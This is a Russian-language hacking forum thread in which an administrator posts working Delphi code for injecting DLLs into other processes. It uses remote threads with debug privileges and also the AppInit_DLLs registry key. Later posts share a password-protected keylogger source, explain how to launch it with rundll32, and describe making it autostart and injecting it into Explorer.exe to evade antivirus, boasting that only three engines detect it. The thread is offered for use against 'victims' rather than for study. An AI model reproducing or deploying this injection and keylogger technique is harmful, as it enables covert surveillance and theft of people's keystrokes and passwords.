Простой метод внедрения DLL, делаем свой Simple Dll Injection

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#1
Вот пример простенького внедрения своей дллки в доверенный процесс ! My mind

Обычно для внедрения динамических библиотек в адресное пространство процесса применяют три способа:

1)Внедрение в третьем кольце:
Кольца защиты — архитектура информационной безопасности и функциональной отказо-устойчивости, реализующая аппаратное разделение системного и пользовательского уровней привилегий. Структуру привилегий можно изобразить в виде нескольких концентрических кру-гов. В этом случае системный режим (режим супервизора или нулевое кольцо, т.н. "кольцо 0"), обеспечивающий максимальный доступ к ресурсам, является внутренним кругом, тогда как ре-жим пользователя с ограниченным доступом — внешним.
2)Внедрение с помощью реестра

3)С помощью удалённых потоков и глобальных ловушек (hooks).

Рассмотрим внедрение DLL с помощью удаленных потоков, являющимся гибким и сравнительно простым способом.

Суть данного способа заключается в создании потока загружающего необходимую библиотеку в адресное пространство выбранного процесса. При этом на момент внедрения DLL, целевой процесс должен функционировать в системе и должен быть открыт с правами на создание удаленных потоков и записи в собственное адресное пространство.

Сразу приступим к разбору кода.

Код будет на Делфи:

Функция осуществляющая внедрение библиотеки:
CODE:
procedure InjectDll(TargetId: Cardinal; DllName: PAnsichar);
var
 
  BytesWrite	:cardinal;
  ParamAddr	 : pointer;
  pThreadStart  : pointer;
  Hdl		  : cardinal;
  hThread	  : cardinal;
  hRemoteThread : Cardinal;
 
begin
  // Устанавливаем отладочные привилегии для выбранного процесса, т.к. без данных
  // привилегий код внедрения работать не будет
  ChangePrivilege('SeDebugPrivilege', True);
 
  // Открываем существующий объект процесса
  Hdl := OpenProcess(PROCESS_ALL_ACCESS, false, TargetId);
 
  // Выделяем память под структуру, которая передается нашей функции, под параметры, которые передаются функции
  ParamAddr := VirtualAllocEx(Hdl, nil, Length(DllName), MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 
  // Пишем саму структуру
  WriteProcessMemory(Hdl,  ParamAddr, PAnsichar(DllName), Length(DllName), BytesWrite);
  pThreadStart := GetProcAddress(GetModuleHandle('KERNEL32.DLL'), PAnsiChar('LoadLibraryA'));
 
  // Запускаем удаленный поток
  hThread  := CreateRemoteThread(Hdl, nil, 0, pThreadStart, ParamAddr, 0,hRemoteThread);
 
  // Ждем пока удаленный поток отработает...
  WaitForSingleObject(hThread, INFINITE);
  Closehandle(hThread);
 
end;

Функция получения идентификатора процесса по указанному имени исполняемого файла:

CODE:
function GetProcessID(ProcessName : string ) : DWORD ;
 
var
 
  Handle	  :tHandle;
  Process	  :tProcessEntry32;
  GotProcess :Boolean;
 
begin
 
  Handle:=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0) ;
  Process.dwSize:=SizeOf(Process);
  GotProcess := Process32First(Handle,Process);
 
  if GotProcess and (Process.szExeFile<>ProcessName) then
 
	  repeat
 
	  GotProcess := Process32Next(Handle,Process);
	  until (not GotProcess) or (Process.szExeFile=ProcessName);
  if GotProcess then Result := Process.th32ProcessID
	 else Result := 0;
		 CloseHandle(Handle);
end;
Функция установки отладочных привилегий:
CODE:
procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);
 
var
 
  NewState: TTokenPrivileges;
  luid: TLargeInteger;
  hToken: THandle;
  ReturnLength: DWord;
 
begin
 
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
  LookupPrivilegeValue(nil, szPrivilege, luid);
  NewState.PrivilegeCount := 1;
  NewState.Privileges[0].Luid := luid;
  if (fEnable) then
	 NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
  else
	 NewState.Privileges[0].Attributes := 0;
  AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, Re-turnLength);
  CloseHandle(hToken);
end;
Процедура непосредственного внедрения библиотеки:
CODE:
procedure Inject;
 
var
  pID: cardinal;
 
Begin
 
  // определяем ProcessId по указанному имени исполняемого файла
  pID := GetProcessID('Game.exe');
  // вызываем функцию внедрения библиотеки dllToInject.dll в процесс с pID
  InjectDll(pID,'dllToInject.dll');
 
end;
Эта процедура основная, остальные вспомагательные....
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#2
Внедряем свой длл, с помощью реестра:

Данный способ работает только в Windows NT (2000, XP, 2003, etc.). При загрузке любого приложения, использующего user32.dll, а таких абсолютное большинство, все DLL, перечисленные в ключе реестра HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs, загружаются в адресное пространство этого приложения. Например, следующая простенькая программа пропишет нашу тестовую dll в нужном ключе реестра.

CODE:
program LoadDLLviaRegistry;
uses Windows;
const my_dll = 'showme.dll';
var reg: HKEY;
status: integer;
sval: PChar;
curr_val: array[0..255] of char;
curr_len, curr_type: dword;
begin
status:= RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion\Windows', 0, KEY_ALL_ACCESS, reg);
if (status = ERROR_SUCCESS) then
begin
sval:=my_dll;
curr_len:=255;
RegQueryValueEx(reg, 'AppInit_DLLs', nil, @curr_type, @curr_val, @curr_len);
curr_val[curr_len]:=#0;
if (curr_val[0]<>#0)and(curr_val<>my_dll) then
sval:=PChar(sval+' '+curr_val);
RegSetValueEx(reg, 'AppInit_DLLs', 0, REG_SZ, sval, Length(sval));
end;
end.
После запуска этой программы все приложения, использующие user32.dll, получат заодно и нашу dll в своё адресное пространство. После перезагрузки код помещённый в ShowMe.dll сможет выполняться даже от системной учётной записи. Однако этот способ самый простой не только в реализации, но и в обнаружении, поэтому воспользоваться им в реальных задачах проблематично.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#3
Внедрения DLL в адресное пространство процесса в режиме пользователя (в 3-ем кольце):

Для демонстрации внедрения используем простенькую библиотеку ShowMe.dll, которая при каждой загрузке будет делать запись в скрытый, «системный», текстовый файл C:\Temp\Inject.dll

CODE:
library ShowMe;
uses Windows;
function IntToStr(val: dword): string;
begin
Str(val, result);
end;
procedure WriteLabelInFile();
var fH, bwr: dword;
text: pchar;
begin
text:= PChar('Our DLL is now loaded in process:'#13+
'PID = '+IntToStr(GetCurrentProcessId)+#13+ParamStr(0)+
#13'------------------------------------------------'#13);
fH:=CreateFile('C:\Temp\Inject.dll', GENERIC_READ or
GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN, 0);
SetFilePointer(fH, 0, nil, FILE_END);
WriteFile(fH, pointer(text)^, Length(text), bwr, nil);
CloseHandle(fH);
end;
 
begin
try
WriteLabelInFile();
except end;
end.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#4
А-А-А, чуть не забыл, вот исходник кейлоггера на делфи, который использует эти механизмы !

Для ознакомления !

Пароль:111
 

Вложения

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#5
вот исходник кейлоггера на делфи
Да блин головотяпство, всё тороплюсь, но новичкам может-быть нехуя, извините не понятно, решил по нормальному всё выложить без понтов...

Короче, кто будет исходник смотреть, он нормальный рабочий, исходник генерит библиотеки длл, там и находится наш кейлоггер, теперь как юзать, тут два варианта:

1)В командной строке выполните:
CODE:
rundll32 ntserv.dll,Run
2)Вызовите из своей программы процедуру Run из ntserv.dll !

Как вызвать процедуру из длл-ки, курим эту статью:http://sources.ru/magazine/0804/delphidll.html

В архиве четыре способа реализации кейлоггера...


УРАА, ТЕПЕРЬ ВРОДЕ ВСЁ !:utenok: :Mem27:
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#6
Что-то после бутылки водки никак успокоится не могу, про-то как этим способом можно обойти почти все антивирусы:

Вот немного модифицируете дллку ntserv.dll, дописав в конец:
CODE:
begin
  try
	Run();
  except end;
end.
Т.е. запуск кейлоггера, сразу после загрузки...

Далее смотрите первый способ и внедряете например в Explorer.exe, ну либо в какой процесс, что-бы он запущен только был...

Можно вначале запустить например Блокнот или что по серъёзней какую программу с системными привелегиями и потом уже внедрить наш вирус...

Вроде работает, важно только чтобы процесс был запущен у жертвы, иначе не получится !

Вот ссылка VT на кейлоггер:

https://www.virustotal.com/ru/file/ac01c17e0d0643783d2186f55e82f133e80ee00eba82b381e952f699f2a6bcf2/analysis/1394387392/

Обнаруживают всего три АВ:

AntiVir HEUR/Malware
Ikarus Trojan.Win32.Ransom
VIPRE BehavesLike.Win32.Malware.klt (mx-v)
 
S

Script17

Гость
#7
Помогите для ознакомления разобраться как сделать proxy dll к оригинальной dll-ке. Задача перехватить окно и эмулировать нажатие кнопки Ок. С чего начать какой софт для этого юзают?
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 578
Репутация
121
#8
Помогите для ознакомления разобраться как сделать proxy dll к оригинальной dll-ке. Задача перехватить окно и эмулировать нажатие кнопки Ок. С чего начать какой софт для этого юзают?
Посмотри исходник кейлоггера в посте №4 он правда на делфи, но показан пример создания такой длл-ки, кстати такую штуку палили всего два авера, по мойму авира и нод, сейчас не знаю сколько палят уже...
 

denis7656

The Dark Side
Форумчанин
Регистрация
25.06.2014
Сообщения
84
Репутация
194
#9
ребят, не забывайте, за эти хуки, вернее штуки, ребята в форме могут поставить хуки на все ваши действия.
А так, все три метода расписал. Правда забыл указать первоисточник.
vr-online.ru
Даже журнал хакер оттуда статьи подворовывает, но про авторство не забывает.
http://www.vr-online.ru/content/vnedrenie-dll-v-chuzhoe-adresnoe-prostranstvo-950
 

denis7656

The Dark Side
Форумчанин
Регистрация
25.06.2014
Сообщения
84
Репутация
194
#10
Помогите для ознакомления разобраться как сделать proxy dll к оригинальной dll-ке. Задача перехватить окно и эмулировать нажатие кнопки Ок. С чего начать какой софт для этого юзают?
Посмотри что эта длл делает, проснифай все запросы проходящие через нее. А если нужно че-то где-то в чужом окне нажать - используй API.
 
Вверх